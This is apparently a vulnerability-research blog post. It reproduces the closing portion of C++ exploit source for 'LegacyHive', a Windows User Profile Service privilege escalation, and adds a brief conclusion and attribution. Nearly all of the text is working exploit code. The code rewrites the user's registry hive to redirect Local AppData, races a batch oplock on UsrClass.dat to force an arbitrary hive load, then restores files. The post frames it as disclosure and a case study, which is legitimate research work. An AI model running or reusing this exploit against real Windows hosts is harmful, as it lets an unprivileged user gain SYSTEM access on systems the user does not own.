		huserhive = CreateFile(userhivepath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (!huserhive || huserhive == INVALID_HANDLE_VALUE)
		{
			printf("Failed to open user hive \"%ws\", error : %d\n", userhivepath, GetLastError());
			goto cleanup;
		}
		GetFileSizeEx(huserhive, &li);
		hivesz = li.QuadPart;
		hivebuff = malloc(hivesz);
		if (!ReadFile(huserhive, hivebuff, hivesz, &readbytes, NULL) || hivesz != readbytes)
		{
			printf("Failed to backup target user hive content, error : %d\n", GetLastError());
			goto cleanup;
		}

		// fucking retarded
		SetFilePointer(huserhive, NULL, NULL, FILE_BEGIN);
		retval = OROpenHiveByHandle(huserhive, &hivemap);
		if (retval)
		{
			printf("Failed to map user hive to memory, error %d\n", retval);
			goto cleanup;
		}
		retval = OROpenKey(hivemap, L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", &htargetkey);
		if (retval)
		{
			printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders, error %d\n", retval);
			goto cleanup;
		}
		retval = ORSetValue(htargetkey, L"Local AppData", REG_EXPAND_SZ, (LPBYTE)newlappdata, wcslen(newlappdata) * sizeof(wchar_t) + sizeof(wchar_t));
		if (retval)
		{
			printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Local AppData, error %d\n", retval);
			goto cleanup;
		}
		ORCloseKey(htargetkey);
		htargetkey = NULL;
		retval = ORSaveHive(hivemap, newhivepath, osver.dwMajorVersion, osver.dwMinorVersion);
		if (retval)
		{
			printf("Failed to save new hive content, error : %d\n", retval);
			goto cleanup;
		}
		ORCloseHive(hivemap);
		hivemap = NULL;
		CloseHandle(huserhive);
		huserhive = NULL;
		if (!MoveFileEx(newhivepath, userhivepath, MOVEFILE_REPLACE_EXISTING))
		{
			printf("Failed to apply hive changes, error : %d\n", GetLastError());
			goto cleanup;
		}
		shouldrestore = true;
		if (!CopyFile(usrclasshivepath, usrclasshivepathnew, FALSE))
		{
			printf("Failed to copy UsrClass.dat, error : %d\n", GetLastError());
			goto cleanup;
		}
		
		hlock = CreateFile(usrclasshivepathnew, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
		if (!hlock || hlock == INVALID_HANDLE_VALUE)
		{
			printf("Failed to open %ws, error : %d\n", usrclasshivepathnew, GetLastError());
			goto cleanup;
		}
		ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
		DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ov);

		if (GetLastError() != ERROR_IO_PENDING)
		{
			printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
			goto cleanup;
		}



		hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)HiveLoaderThread, &targ, NULL, &tid);
		if (!hthread)
		{
			printf("Failed to create helper thread, error : %d\n", GetLastError());
			goto cleanup;
		}
		GetOverlappedResult(hlock, &ov, &transfersz, TRUE);
		CloseHandle(hwindirlnk);
		hwindirlnk = NULL;
		printf("oplock triggered !\n");
		CloseHandle(hlock);
		hlock = NULL;

		
		WaitForSingleObject(hthread, INFINITE);

		retval = RegOpenUserClassesRoot(htoken, NULL, MAXIMUM_ALLOWED, &hloadedhive);
		if (hloadedhive)
		{
			RegCloseKey(hloadedhive);
			hloadedhive = NULL;
		}
		if (retval)
		{
			printf("Exploit failed, hive was not loaded.\n");
			goto cleanup;
		}
		printf("Hive loaded, press any key to unload and exit.\n");

	}
	catch (DWORD exception)
	{
		goto cleanup;
	}
cleanup:
	_getch();
	if (hloadedhive)
	{
		CloseHandle(hloadedhive);
		hloadedhive = NULL;
	}

	if (hthread) {
		TerminateThread(hthread, ERROR_SUCCESS);
		CloseHandle(hthread);
		hthread = NULL;
	}
	if (targ.hcallerthread)
	{
		CloseHandle(targ.hcallerthread);
		targ.hcallerthread = NULL;
	}
	if (targ.hprocess)
	{
		TerminateProcess(targ.hprocess, ERROR_SUCCESS);
		CloseHandle(targ.hprocess);
		targ.hprocess = NULL;
	}
	Sleep(500);
	if (ov.hEvent)
	{
		CloseHandle(ov.hEvent);
		ov = { 0 };
	}
	if (hwindirlnk)
	{
		CloseHandle(hwindirlnk);
		hwindirlnk = NULL;
	}
	if (hwindirlnk1)
	{
		CloseHandle(hwindirlnk1);
		hwindirlnk1 = NULL;
	}

	if (hmsdirobj)
	{
		CloseHandle(hmsdirobj);
		hmsdirobj = NULL;
	}
	if (hworkdirobj)
	{
		CloseHandle(hworkdirobj);
		hworkdirobj = NULL;
	}

	if (huserhive)
	{
		CloseHandle(huserhive);
		huserhive = NULL;
	}
	if (hivemap)
	{
		ORCloseHive(hivemap);
		hivemap = NULL;
	}
	if (shouldrestore)
	{
		huserhive = CreateFile(userhivepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (!huserhive || huserhive == INVALID_HANDLE_VALUE)
		{}
		else {
			WriteFile(huserhive, hivebuff, hivesz, &readbytes, NULL);
			CloseHandle(huserhive);
			huserhive = NULL;
		}
	}
	RevertToSelf();
	if (GetFileAttributes(usrclasshivepathnew) != INVALID_FILE_ATTRIBUTES) {
		DeleteFile(usrclasshivepathnew);
	}
	if (GetFileAttributes(newhivepath) != INVALID_FILE_ATTRIBUTES) {
		DeleteFile(newhivepath);
	}
	if (htoken) {
		CloseHandle(htoken);
		htoken = NULL;
	}
	if (cleandir)
		RemoveDirectory(workdir);
    return 0;
}

Conclusion

LegacyHive is a reminder that privilege boundaries in Windows often come down to who opens the file. None of its ingredients — a user-writable registry value, object-manager symbolic links, an oplock — is new; the value of the research is showing that, wired together against the User Profile Service, they still defeat a fully-patched system in 2026. For engineers it is a compact case study in link-following TOCTOU bugs and how to reason about them; for everyone else it is a concrete reason to keep local accounts locked down and to patch promptly when Microsoft responds. Until then, treat standard-user code execution on shared and privileged Windows hosts as a credible path to SYSTEM.

Original text: "LegacyHive — Windows user profile service arbitrary hive load elevation of privileges vulnerability" by Nightmare-Eclipse (MSNightmare) at Project NightCrawler. Code reproduced under the MIT License.

oxfemale Vulnerability research, reverse engineering, and exploit development.